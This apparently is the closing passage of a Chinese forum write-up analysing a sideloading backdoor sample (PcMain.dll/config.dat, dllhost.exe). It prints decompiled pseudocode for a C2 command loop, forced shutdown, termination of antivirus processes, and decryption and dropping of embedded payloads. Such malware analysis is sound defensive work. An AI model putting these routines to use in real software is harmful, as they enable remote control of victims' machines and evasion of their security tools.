beginthread(sub_10002A60, 0, v4);
break;
case 0x1F50:
beginthread(sub_10002F80, 0, v4);
break;
case 0x1F51:
beginthread(sub_10003300, 0, v4);
break;
default:
goto LABEL_27;
}
}
result = (int)a2;
if ( *a2 )
return result;
v2 = this;
}
}
观察到参数里仍然传入了this，调用约定还是thiscall，说明链子上游仍然有对象，继续跟进
int __thiscall sub_10002020(HANDLE *this, _DWORD *a2)
跟进到sub_10001F80，仍然是thiscall，但是这里已经显示了this对象和后面一些参数，继续追溯唯一交叉引用
void __thiscall __noreturn sub_10001F80(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9)
最终追溯到UserService函数，这个函数是noreturn的，不会返回调用者，不影响调用函数的执行流。
查看交叉引用，可以发现UserService是Config.dat提供的导出函数
导出表分析
.rdata:1001A390 ; Export directory for PcMain.dll
.rdata:1001A390 ;
.rdata:1001A390 00 00 00 00 dword_1001A390 dd 0 ; DATA XREF: HEADER:100001A0↑o
.rdata:1001A390 ; Characteristics
.rdata:1001A394 F4 30 EB 57 dd 57EB30F4h ; TimeDateStamp: Wed Sep 28 02:54:44 2016
.rdata:1001A398 00 00 dw 0 ; MajorVersion
.rdata:1001A39A 00 00 dw 0 ; MinorVersion
.rdata:1001A39C CC A3 01 00 dd rva aPcmainDll ; Name
.rdata:1001A3A0 01 00 00 00 dd 1 ; Base
.rdata:1001A3A4 02 00 00 00 dd 2 ; NumberOfFunctions
.rdata:1001A3A8 02 00 00 00 dd 2 ; NumberOfNames
.rdata:1001A3AC B8 A3 01 00 dd rva off_1001A3B8 ; AddressOfFunctions
.rdata:1001A3B0 C0 A3 01 00 dd rva off_1001A3C0 ; AddressOfNames
.rdata:1001A3B4 C8 A3 01 00 dd rva word_1001A3C8 ; AddressOfNameOrdinals
.rdata:1001A3B8 ;
.rdata:1001A3B8 ; Export Address Table for PcMain.dll
.rdata:1001A3B8 ;
.rdata:1001A3B8 60 AC 00 00 00 B6 00 00 off_1001A3B8 dd rva wow_helper, rva UserService
.rdata:1001A3B8 ; DATA XREF: .rdata:1001A3AC↑o
.rdata:1001A3C0 ;
.rdata:1001A3C0 ; Export Names Table for PcMain.dll
.rdata:1001A3C0 ;
.rdata:1001A3C0 D7 A3 01 00 E3 A3 01 00 off_1001A3C0 dd rva aUserservice, rva aWowHelper
.rdata:1001A3C0 ; DATA XREF: .rdata:1001A3B0↑o
.rdata:1001A3C0 ; "UserService" ...
.rdata:1001A3C8 ;
.rdata:1001A3C8 ; Export Ordinals Table for PcMain.dll
.rdata:1001A3C8 ;
.rdata:1001A3C8 01 00 00 00 word_1001A3C8 dw 1, 0 ; DATA XREF: .rdata:1001A3B4↑o
.rdata:1001A3CC 50 63 4D 61 69 6E 2E 64 6C 6C+aPcmainDll db 'PcMain.dll',0 ; DATA XREF: .rdata:1001A39C↑o
.rdata:1001A3D7 55 73 65 72 53 65 72 76 69 63+aUserservice db 'UserService',0 ; DATA XREF: .rdata:off_1001A3C0↑o
.rdata:1001A3E3 77 6F 77 5F 68 65 6C 70 65 72+aWowHelper db 'wow_helper',0 ; DATA XREF: .rdata:off_1001A3C0↑o
.rdata:1001A3EE 00 00 00 00 00 00 00 00 00 00+align 1000h
.rdata:1001A3EE 00 00 00 00 00 00 00 00 ?? ??+_rdata ends
可以观察到这个DLL的名称是PCMain.dll，提供了两个导出函数，UserService和wow_helper
我们前文追踪的病毒控制函数就是UserService。
接下来我们分析导出函数UserService
UserService（病毒核心代码）
void __noreturn UserService()
{
HWINSTA v0; // eax
int v1[395]; // [esp-624h] [ebp-FD8h] BYREF
int v2; // [esp+8h] [ebp-9ACh] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-9A8h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [esp+50h] [ebp-964h] BYREF
CHAR String1[260]; // [esp+60h] [ebp-954h] BYREF
CHAR pszPath[260]; // [esp+164h] [ebp-850h] BYREF
char v7[1864]; // [esp+268h] [ebp-74Ch] BYREF
int v8; // [esp+9B0h] [ebp-4h]
if ( GetTickCount() < 0x186A0 )
Sleep(0x4E20u);
CreateDesktopA(szDesktop, 0, 0, 0, (ACCESS_MASK)&_ImageBase, 0);
memset(&StartupInfo.lpReserved, 0, 0x40u);
StartupInfo.wShowWindow = 0;
StartupInfo.cb = 68;
StartupInfo.lpDesktop = szDesktop;
SHGetSpecialFolderPathA(0, pszPath, 38, 0);
lstrcatA(pszPath, aTencentQqgameQ); //"\Tencent\QQGAME\QQGame.exe"
SHGetSpecialFolderPathA(0, String1, 38, 0);
lstrcatA(String1, aTencentQqgame);
CreateProcessA(0, pszPath, 0, 0, 0, 0, 0, String1, &StartupInfo, &ProcessInformation);
if ( CreateMutexA(0, 0, a981859203Com) && GetLastError() == 183 ) // 创建"981859203.com"互斥体
ExitProcess(0);
GetProcessWindowStation();
v0 = OpenWindowStationA(szWinSta, 0, 0x2000000u);
if ( v0 )
SetProcessWindowStation(v0);
SetErrorMode(1u);
sub_10001E80(v7);
v8 = 0;
v2 = 0;
lstrcpyA(&::String1, aV44);
CoCreateGuid(&pguid);
v1[392] = (int)&v2;
dword_10022608 = dword_1001BA98 != 0;
qmemcpy(v1, aA2s45d78w, 0x620u);
sub_10001F80((int)v7, v1[0], v1[1], v1[2], v1[3], v1[4], v1[5], v1[6], v1[7]);
}
调用CreateDesktopA创建了新的桌面环境，并且设置了_STARTUPINFOA类型启动信息startinfo。
接着调用SHGetSpecialFolderPathA，获取系统特殊路径（这个路径由系统定义，这里检索int 38的目录，对应着C:\Program Files，win10 x86对应着C:\Program Files (X86)），拼接“\Tencent\QQGAME\QQGame.exe”到pszPath和string中，构造路径C:\Program Files (X86)\Tencent\QQGAME\QQGame.exe，然后调用CreateProcessA，用之前的信息生成进程，这里做的操作意味着程序启动了QQGame.exe这个程序。
#define CSIDL_PROGRAM_FILES 0x0026 // C:\Program Files
接着创建名为"981859203.com"的互斥体，若已经存在了说明后门已经执行了，不需要继续执行了。
经过一些窗口设置，调用sub_10001E80，传入字符数组v7.v7的空间特别大，这里经过分析也知道这其实就是类对象的赋值
_DWORD *__thiscall sub_10001E80(_DWORD *this)
{
sub_10003460();
*this = off_10015484;
this[461] = 0;
this[462] = CreateEventA(0, 1, 0, 0);
this[463] = 0;
return this;
}
给v1数组赋值"A2s45d78w"并最终调用sub_10001F80（刚刚链路追踪中调用的控制函数），传递的参数就是v7对象，v1的字符串值
v1[392] = (int)&v2;
dword_10022608 = dword_1001BA98 != 0;
qmemcpy(v1, aA2s45d78w, 0x620u); // "A2s45d78w"
sub_10001F80((int)v7, v1[0], v1[1], v1[2], v1[3], v1[4], v1[5], v1[6], v1[7]);
sub_10001F80
void __thiscall __noreturn sub_10001F80(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9)
{
int v10; // ebp
int v11[392]; // [esp-620h] [ebp-630h] BYREF
if ( a8 )
{
v11[390] = (int)operator new(0x620u);
qmemcpy((void *)v11[390], (const void *)(this + 4), 0x620u);
beginthread(StartAddress, 0, (void *)v11[390]);
}
v10 = a9;
while ( 1 )
{
do
{
Sleep(0x3E8u);
STACK[0x51C] = v10;
qmemcpy(v11, &a2, sizeof(v11));
}
while ( !sub_100034D0(
this,
8000,
v11[0],
......
v11[60]) );
beginthread(sub_10001F70, 0, (void *)this);
sub_10002020((HANDLE *)this, (_DWORD *)STACK[0x634]);
sub_10003830((SOCKET *)this);
}
}
根据不同的配置和参数传递状况，最终可能开辟线程：StartAddress、sub_10001F70；
一定会调用sub_10002020、sub_10003830。
StartAddress中，启动了键盘控制器，也就是前文分析过的sub_10006250，此处按下不表。
sub_10001F70，算是一个网络行为的控制函数，做调度用途，没有需要注意的点。
sub_10003830，关闭并清空this对象中socket。
核心来了，sub_10002020，病毒核心部分，控制函数。
第一个do while是上线包，会发送8000的标识符给远端URL，当创建了socket连接，才会返回非空值，开辟sub_10002020线程，启动命令控制。
sub_10002020（命令控制）
首先查看命令接收
int __thiscall sub_100037D0(SOCKET *this, char *buf, unsigned int len)
{
unsigned int v5; // ebx
int v6; // edi
int v8; // eax
v5 = 0;
v6 = len;
if ( !this[393] )
return 0;
if ( len )
{
while ( 1 )
{
v8 = recv(this[393], buf, v6, 0);
if ( v8 <= 0 )
break;
v5 += v8;
buf += v8;
v6 -= v8;
if ( v5 >= len )
return 1;
}
return 0;
}
return 1;
}
可以看出调用recv直接从socket中接收消息，存储到buf中，而buf是10002020中定义的四位字符数组
char buf[4];
最高可以存放0xFFFFFFFF的数值。
接下来就是判断状态码对应的操作
关机、退出进程选项
if ( *(_DWORD *)buf > 0x1F52u )
{
if ( *(_DWORD *)buf > 0x7532u )
{
if ( *(_DWORD *)buf == 30004 )
{
operator delete(v4);
*a2 = 12289;
sub_10003340(0);
}
else if ( *(_DWORD *)buf == 30005 )
{
operator delete(v4);
*a2 = 12289;
sub_10003340(1);
}
else
{
LABEL_27:
operator delete(v4);
}
}
else if ( *(_DWORD *)buf == 30002 )
{
operator delete(v4);
*a2 = 12288;
beginthread(sub_100032F0, 0, v4);
}
BOOL __stdcall sub_10003340(int a1)
{
HANDLE CurrentThread; // esi
HANDLE TokenHandle; // [esp+0h] [ebp-11Ch] BYREF
struct _LUID Luid; // [esp+4h] [ebp-118h] BYREF
struct _TOKEN_PRIVILEGES NewState; // [esp+Ch] [ebp-110h] BYREF
_BYTE Name[253]; // [esp+1Ch] [ebp-100h] BYREF
__int16 v7; // [esp+119h] [ebp-3h]
char v8; // [esp+11Bh] [ebp-1h]
NewState.PrivilegeCount = 1; // 开启执行关机操作所需权限
memset(&Name[1], 0, 0xFCu);
v7 = 0;
v8 = 0;
strcpy(Name, "SeShutdownPrivilege");
CurrentThread = GetCurrentThread();
LookupPrivilegeValueA(0, Name, &Luid); // 查找关机权限值
NewState.Privileges[0].Luid = Luid;
NewState.Privileges[0].Attributes = 2;
ImpersonateSelf(SecurityImpersonation);
OpenThreadToken(CurrentThread, 0x20u, 1, &TokenHandle);
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0); // 调整访问令牌的权限，启用关机权限
if ( a1 )
return ExitWindowsEx(8u, 4u); // 关机
else
return ExitWindowsEx(2u, 4u); // 注销
}
void __cdecl __noreturn sub_100032F0()
{
ExitProcess(0);
}
太多了，不想看
wow_helper(杀软排查、limit目录)
分析完了UserService，来看wow_helper
这个文件可大了，首先调用sub_1000A710检查是否有KSafeTray.exe进程（金山卫士）
DWORD __cdecl sub_1000A710(char *String2)
{
HANDLE Toolhelp32Snapshot; // 用于存储快照句柄
PROCESSENTRY32 *v2; // 用于存储进程信息
// 创建系统中所有进程的快照
Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// 为PROCESSENTRY32结构分配内存
v2 = (PROCESSENTRY32 *)operator new(sizeof(PROCESSENTRY32));
// 设置结构的大小
v2->dwSize = sizeof(PROCESSENTRY32);
// 获取快照中的第一个进程
if (Process32First(Toolhelp32Snapshot, v2))
{
// 检查第一个进程的名称是否与String2匹配
if ( !strcmpi(v2->szExeFile, String2) )
return v2->th32ProcessID; // 如果匹配，返回进程ID
// 遍历快照中的其他进程
while (Process32Next(Toolhelp32Snapshot, v2))
{
// 检查当前进程的名称是否与String2匹配
if ( !strcmpi(v2->szExeFile, String2) )
return v2->th32ProcessID; // 如果匹配，返回进程ID
}
}
// 如果没有找到匹配的进程，返回0
return 0;
}
如果找到了金山卫士的进程，则关闭这个进程
BOOL __cdecl sub_1000A140(const char *a1)
{
HANDLE Toolhelp32Snapshot; // 用于存储快照句柄
HANDLE v2; // 用于存储OpenProcess函数的返回值
PROCESSENTRY32 pe; // 用于存储进程条目信息
// 确保传入的进程名称不为空
if ( a1 )
{
// 创建系统中所有进程的快照
Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// 确保快照创建成功
if ( Toolhelp32Snapshot != (HANDLE)-1 )
{
// 初始化PROCESSENTRY32结构的大小
pe.dwSize = sizeof(PROCESSENTRY32);
// 获取快照中的第一个进程
if ( Process32First(Toolhelp32Snapshot, &pe) )
{
// 检查第一个进程的名称是否与传入的名称匹配
if ( !strcmp(pe.szExeFile, a1) )
{
// 如果匹配，关闭快照句柄
CloseHandle(Toolhelp32Snapshot);
// 打开进程以获取终止权限
v2 = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
// 终止进程
return TerminateProcess(v2, 0);
}
// 遍历快照中的其他进程
while ( Process32Next(Toolhelp32Snapshot, &pe) )
{
// 检查当前进程的名称是否与传入的名称匹配
if ( !strcmp(pe.szExeFile, a1) )
goto LABEL_7;
}
}
// 如果没有找到匹配的进程，关闭快照句柄
CloseHandle(Toolhelp32Snapshot);
}
}
// 如果没有找到匹配的进程或传入的进程名称为空，返回0
return 0;
}
这里由于白加黑，Teniodl_Core.dll 云下载引擎成功启动，启动的时候会向用户申请管理员权限，因此这里有管理员权限，可以随意关闭其他进程。
获取当前模块名，如果是load.exe，则进入接下来的逻辑
GetModuleFileNameA(0, Filename, 0xFFu);
CharLowerA(Filename);
if ( StrStrA(Filename, pszSrch) )
{
SHGetSpecialFolderPathA(0, pszPath, 36, 0);
lstrcatA(pszPath, aLimitDllhostEx);
hModule = LoadLibraryA(aKernel32Dll_0);
引入了各种dll，获取特殊路径，这里是36，0x0024，对应的是CSIDL_WINDOWS，路径为C:/Windows。然后追加字符串构建一个路径：C:/Windows/limit/dllhost.exe。
#define CSIDL_WINDOWS 0x0024 // GetWindowsDirectory()
创建C:/Windows/Program Files (X86)/Tencent/QQGame目录，并执行C:/Windows/Program Files (X86)/Tencent/QQGame/QQGame.exe。如果这个文件一开始不存在，则调用sub_1000A790复制指定文件为QQGame.exe。
#define CSIDL_PROGRAM_FILES 0x0026 // C:\Program Files
SHGetSpecialFolderPathA(0, String1, 38, 0);
lstrcatA(String1, aTencent); // "\Tencent"
CreateDirectoryA(String1, 0);
lstrcatA(String1, aQqgame); // "\QQGame"
CreateDirectoryA(String1, 0); // 创建C:/Windows/Program Files (X86)/Tencent/QQGame
SHGetSpecialFolderPathA(0, FileName, 38, 0);
lstrcatA(FileName, aTencentQqgameQ); // 追加"Tencent\QQGAME\QQGame.exe"
if ( access(FileName, 0) == -1 ) // 如果不可达，创建文件
sub_1000A790(dword_10022B78, 108, Type, FileName);
CreateProcessA(0, FileName, 0, 0, 0, 0, 0, String1, (LPSTARTUPINFOA)&v34[52], &ProcessInformation);
HRSRC __cdecl sub_1000A790(HMODULE hModule, unsigned __int16 a2, LPCSTR lpType, LPCSTR lpFileName)
{
HRSRC result; // eax
HRSRC v5; // edi
const void *v6; // ebx
void *v7; // esi
DWORD v8; // eax
DWORD NumberOfBytesWritten; // [esp+10h] [ebp-4h] BYREF
NumberOfBytesWritten = 0;
result = FindResourceA(hModule, (LPCSTR)a2, lpType);
v5 = result;
if ( result )
{
result = (HRSRC)LoadResource(hModule, result);
v6 = result;
if ( result )
{
result = (HRSRC)CreateFileA(lpFileName, 0x40000000u, 2u, 0, 2u, 0x80u, 0);
v7 = result;
if ( result )
{
v8 = SizeofResource(hModule, v5);
WriteFile(v7, v6, v8, &NumberOfBytesWritten, 0);
CloseHandle(v7);
return (HRSRC)1;
}
}
}
return result;
}
接下来处理DNF.jpg文件，也就是我们看到的执行Au.exe之后会弹出的DNF价格图片。
代码中会把io.dat的值取出，异或解密后存储于内存，并以图片类型打开
if ( strcmp(aDnf, pszSubKey) ) // 比较DNF字符串和SubKey的值，如果不相等就继续
{
GetModuleFileNameA(0, v38, 0x104u);
PathRemoveFileSpecA(v38); // 删除尾部文件名和反斜杠
lstrcatA(v38, aIoDat); // 追加"\io.dat"
hFile = CreateFileA(v38, 0x80000000, 0, 0, 3u, 0, 0);// 打开文件io.dat
FileSize = GetFileSize(hFile, 0);
v8 = operator new(FileSize);
lpBuffer = v8;
memset(v8, 0, FileSize);
NumberOfBytesRead = 0;
ReadFile(hFile, v8, FileSize, &NumberOfBytesRead, 0);// 读取io.dat数据到开辟的堆内存中
CloseHandle(hFile);
for ( i = 0; i < FileSize; ++i )
*((_BYTE *)v8 + i) = (*((_BYTE *)v8 + i) - 106) ^ 0x22;// 异或解密内存文件数据
SHGetSpecialFolderPathA(0, File, 26, 0); // #define CSIDL_APPDATA 0x001a // <user name>\Application Data
lstrcatA(File, asc_1001B83C); // "\"
lstrcatA(File, aDnf); // "DNF.jpg"
hFile = CreateFileA(File, (DWORD)&_ImageBase, 0, 0, 2u, 0, 0);// 创建名为"DNF.jpg"的文件
hObject = 0;
WriteFile(hFile, v8, FileSize, (LPDWORD)&hObject, 0);// 往创建的jpg文件中，写入io.dat在内存中解密的数据
CloseHandle(hFile);
ShellExecuteA(0, Operation, File, 0, 0, 1);// "open"，打开DNF.jpg
v6 = (void (__stdcall *)(HWND, LPSTR, int, BOOL))SHGetSpecialFolderPathA;
}
.data:1001BE84 ; CHAR aDnf[3]
.data:1001BE84 44 4E 46 aDnf db 'DNF' ; DATA XREF: wow_helper+3A6↑o
.data:1001BE84 ; wow_helper+4BA↑o
.data:1001BE87 BC db 0BCh
.data:1001BE88 DB db 0DBh
.data:1001BE89 B8 db 0B8h
.data:1001BE8A F1 db 0F1h
.data:1001BE8B B1 db 0B1h
.data:1001BE8C ED db 0EDh
.data:1001BE8D 2E db 2Eh ; .
.data:1001BE8E 6A db 6Ah ; j
.data:1001BE8F 70 db 70h ; p
.data:1001BE90 67 db 67h ; g
创建C:\Windows\limit文件夹下文件，都是从病毒文件夹中copy过来的
其中，load.exe对应Aau.exe，config.dat和TenioDL_core.dll不变
dllhost.exe，是由sub_1000A790函数从dword_10022B78中提取104号资源，并写入dllhost.exe文件。这个104是.rc资源表中的资源序号。
而dword_10022B78在DLLMain中已经赋值了，就是解密后的Config.dat的dll句柄
因此这里直接用CFF exploerer打开，找到104号资源，查看data entry（资源目录），查看OffsetToData，这就是资源在二进制文件中的RVA，这里为20A68。
在偏移附近找到了存放的PE文件，也就是我们提取出来的dllhost.exe。
寻找360tray.exe（360），如果没找到，则删除load.exe，使用Au.exe
if ( !sub_1000A710(a360trayExe) || stricmp(v37, v44) )
{
DeleteFileA(v37);
CopyFileA(ExistingFileName, v37, 0);
}
整体就是这么个操作。
dllhost.exe
接下来分析这个分离并且执行的dllhost.exe
通过火绒剑，可以发现dllhost.exe启动了一个conhost.exe和QQGame.exe
IDA开始分析，先看main
获取一堆函数的句柄!
接下来获取config.dat，解密之后，调用sub_4016B0，其中有config.dat（PCMain.dll）的导出函数UserService字符串，也就是我们分析过的核心病毒代码的函数名，这里大概率是找到导出表中UserService的RVA，然后计算之后返回他的地址，在外部直接调用。
GetModuleFileNameA(0, pszPath, 260);
PathRemoveFileSpecA(pszPath);
lstrcatA(pszPath, "\\config.dat"); // 获取config.dat路径
v13 = CreateFileA(pszPath, 0x80000000, 0, 0, 3, 0, 0);
v14 = v13;
if ( v13 == (HANDLE)-1 )
{
CloseHandle((HANDLE)-1);
}
else
{
v15 = GetFileSize(v13, 0);
ProcessHeap = GetProcessHeap();
v17 = (char *)HeapAlloc(ProcessHeap, 8, v15);
v22 = 0;
ReadFile(v14, v17, v15, (LPDWORD)&v22, 0);
v26(v14);
v18 = v17 + 1;
for ( i = v18; v15; --v15 )
{
*i = (*i ^ 0x20) - 32; // 内存解密
++i;
}
if ( sub_401520(v18) ) // 内存分配，准备性工作
{
v20 = (void (*)(void))sub_4016B0(); // 关键函数
if ( v20 )
v20(); // 调用PCMain.dll（config.dat）导出函数：UserService
sub_401770(); // 内存释放，收尾性工作
}
}
这个dllhost.exe没有其余导出函数了，因此分析到这里可以结束。
总结
到这里，这个样本算是圆满分析完成了。
虽然样本是相对比较古老的，网上也有很多人分析过，但是他们的资料都比较宽泛，过程很跳，对样本的感知不是很深很细。对我来说，我希望对这个样本行为有更深更细的掌握，因此在函数行为逻辑方面我做了更深更彻底的探讨，比如键盘记录器以及中途如何去寻找上游控制函数，几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天，是我正儿八经自己分析的第一个样本，成就感挺足的，中途还有相当多的不足以及错误，比如远控函数sub_10002020的具体的功能函数，白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE，以及其他我没有关注到的细节，希望大佬们多多指导。
参考
[原创]“白加黑”恶意程序样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
[原创]一个隐藏蛮深的白加黑样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
PE格式第九讲,资源表解析 - iBinary - 博客园
[复制链接]
发表于 2024-5-22 10:45
|
发表于 2024-5-14 18:35
|楼主
发表于 2024-5-14 13:29
收藏
淘帖
有用
分享到朋友圈
